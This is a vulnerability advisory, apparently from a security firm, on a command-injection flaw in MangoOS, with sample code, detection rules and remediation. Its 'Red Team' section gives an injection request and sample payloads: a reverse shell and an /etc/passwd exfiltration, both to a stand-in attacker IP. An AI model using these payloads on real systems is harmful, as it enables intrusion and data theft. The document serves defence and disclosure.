CVE-2024-37845

Executive Summary

CVE-2024-37845 is an authenticated remote code execution (RCE) vulnerability in MangoOS versions prior to 5.2.0. The flaw resides in the Active Process Command feature, allowing an authenticated attacker to execute arbitrary commands on the underlying operating system. This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No public exploit code or Nuclei template is available at this time, but the vulnerability is considered critical due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a core operating system vulnerability in MangoOS.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the vulnerability (authenticated RCE), the likely CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Authentication is required, but low-privileged users can exploit it.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise is possible.
• Integrity (I): High (H) – Full system compromise is possible.
• Availability (A): High (H) – Full system compromise is possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical

Deep Dive & Mechanics

The vulnerability exists in the Active Process Command feature of MangoOS. This feature allows authenticated users to manage running processes. The flaw is due to improper sanitization of user-supplied input when constructing OS commands. An attacker can inject arbitrary commands by crafting a malicious process name or command argument.

Root Cause: The application does not properly escape or validate input before passing it to a system call (e.g., exec(), system(), or popen()). This allows an attacker to break out of the intended command and execute arbitrary OS commands.

Attack Vector: An authenticated attacker sends a specially crafted HTTP request to the vulnerable endpoint, injecting OS commands into the process name or command field.

Impact: Successful exploitation allows the attacker to execute arbitrary commands with the privileges of the MangoOS service (typically root or a high-privileged user). This can lead to full system compromise, data exfiltration, installation of backdoors, and lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (MangoOS < 5.2.0):

# Example vulnerable code snippet
import subprocess

def active_process_command(process_name):
    # Vulnerable: Direct concatenation of user input
    command = "ps aux | grep " + process_name
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (MangoOS 5.2.0):

# Example patched code snippet
import subprocess
import shlex

def active_process_command(process_name):
    # Patched: Use shlex.quote to escape input
    safe_process_name = shlex.quote(process_name)
    command = "ps aux | grep " + safe_process_name
    result = subprocess.check_output(command, shell=True)
    return result

The patched version uses shlex.quote() to properly escape the user input, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on MangoOS (any privilege level).
• Network access to the MangoOS web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint: The Active Process Command feature is typically accessible via a web interface at /process/active or similar.

2. Craft the payload: Inject a command using shell metacharacters. For example, to execute id and write output to a file:

   ; id > /tmp/pwned.txt
   

3. Send the request:

   curl -X POST -d "process_name=; id > /tmp/pwned.txt" -u username:password http://target/process/active
   

4. Verify execution:

   curl -u username:password http://target/tmp/pwned.txt
   

Example Payloads:

• Reverse shell: ; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
• Data exfiltration: ; curl http://attacker_ip/$(cat /etc/passwd)

Blue Team

Detection Steps:

1. Monitor for unusual process names: Look for process names containing shell metacharacters (;, |, &, `, $(), etc.).

2. Audit logs: Check web server logs for requests to /process/active with suspicious parameters.

3. Network monitoring: Detect outbound connections to unknown IPs on unusual ports (e.g., 4444 for reverse shells).

4. File integrity monitoring: Monitor for unexpected files in /tmp or other writable directories.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /process/active with parameters containing shell metacharacters.
• Outbound connections to attacker-controlled IPs on high ports (e.g., 4444, 1337).

File IOCs:

• Unexpected files in /tmp (e.g., /tmp/pwned.txt).
• Modified system binaries or configuration files.

Process IOCs:

• Unusual processes spawned by the MangoOS service (e.g., bash, nc, curl).
• Processes with names containing shell metacharacters.

Log IOCs:

• Web server logs showing requests to /process/active with suspicious payloads.
• System logs showing execution of unexpected commands.

Detection Engineering

YARA Rule

rule CVE_2024_37845_MangoOS_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-37845 in MangoOS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37845"
    strings:
        $s1 = "/process/active" ascii wide nocase
        $s2 = "process_name=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&" ascii wide
        $s6 = "`" ascii wide
        $s7 = "$(" ascii wide
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-37845 MangoOS Active Process Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-37845 via HTTP POST requests to /process/active
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37845
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/process/active'
        cs-uri-query|contains: 'process_name='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of shell metacharacters in process names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37845 MangoOS Active Process Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/process/active"; http_uri; content:"process_name="; http_client_body; pcre:"/(;|\||&|`|\$\().*/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MangoOS: Upgrade to version 5.2.0 or later, which contains the fix.
2. Restrict Access: If upgrading is not immediately possible, restrict network access to the MangoOS web interface to trusted IPs only.
3. Disable Feature: Temporarily disable the Active Process Command feature if it is not essential.

Long-term Measures:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
2. Least Privilege: Run the MangoOS service with the minimum necessary privileges.
3. Web Application Firewall (WAF): Deploy a WAF to block malicious requests containing shell metacharacters.
4. Regular Audits: Conduct regular security audits and penetration testing.

Workaround:

• If upgrading is not possible, manually patch the vulnerable code by adding input sanitization (e.g., using shlex.quote() in Python).

Valters IT
Securing Digital Frontiers